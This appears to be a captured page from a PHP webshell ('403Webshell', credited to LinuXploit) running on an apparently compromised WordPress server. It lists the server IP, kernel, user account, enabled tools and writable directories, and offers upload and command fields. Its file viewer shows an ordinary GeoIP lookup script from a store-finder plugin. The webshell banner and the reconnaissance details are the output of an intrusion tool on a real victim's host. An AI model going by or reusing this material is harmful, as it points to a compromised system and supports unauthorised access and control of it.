403Webshell
Server IP : 89.248.107.232  /  Your IP : 216.73.217.70
Web Server : Apache
System : Linux host2.kasilh.com 5.14.0-687.36.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Aug 7 05:40:49 EDT 2026 x86_64
User : seg ( 10005)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/seg-sa.es/grupo-seg.com/wp-content/plugins/superstorefinder-wp/js/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/seg-sa.es/grupo-seg.com/wp-content/plugins/superstorefinder-wp/js/geoip.php
<?php header('Content-Type: application/javascript');
include("geoipcity.inc");
include("geoipregionvars.php");
$user_ip = $_SERVER['REMOTE_ADDR'];
//$user_ip ='106.79.150.145';

if(!is_localhost()){

$gi = geoip_open("GeoLiteCity.dat", GEOIP_STANDARD);
//print_r( geoip_db_get_all_info() );
$record = geoip_record_by_addr($gi, $user_ip);

geoip_close($gi);

}
/*
print $record->country_code . " " . $record->country_code3 . " " . $record->country_name . "<br /><br />";
print $record->region . " " . $GEOIP_REGION_NAME[$record->country_code][$record->region] . "<br /><br />";
print $record->city . "<br /><br />";
print $record->postal_code . "<br /><br />";
print $record->latitude . "<br /><br />";
print $record->longitude . "<br /><br />";
print $record->metro_code . "<br /><br />";
print $record->area_code . "<br /><br />";
print $record->continent_code . "<br /><br />";
*/

function is_localhost() {
    $whitelist = array( '127.0.0.1', '::1' );
    if( in_array($_SERVER['REMOTE_ADDR'], $whitelist) )
        return true;
}

?>

function geoip_city(){
  return '<?php if(is_localhost()){ echo "Unable to detect city/country at localhost"; } else { echo $record->city; } ?>';
}

function geoip_country_name(){
 return '<?php if(is_localhost()){ echo "please upload at live server."; } else { echo $record->country_name; }  ?>';
}


Youez - 2016 - github.com/yon3zu
LinuXploit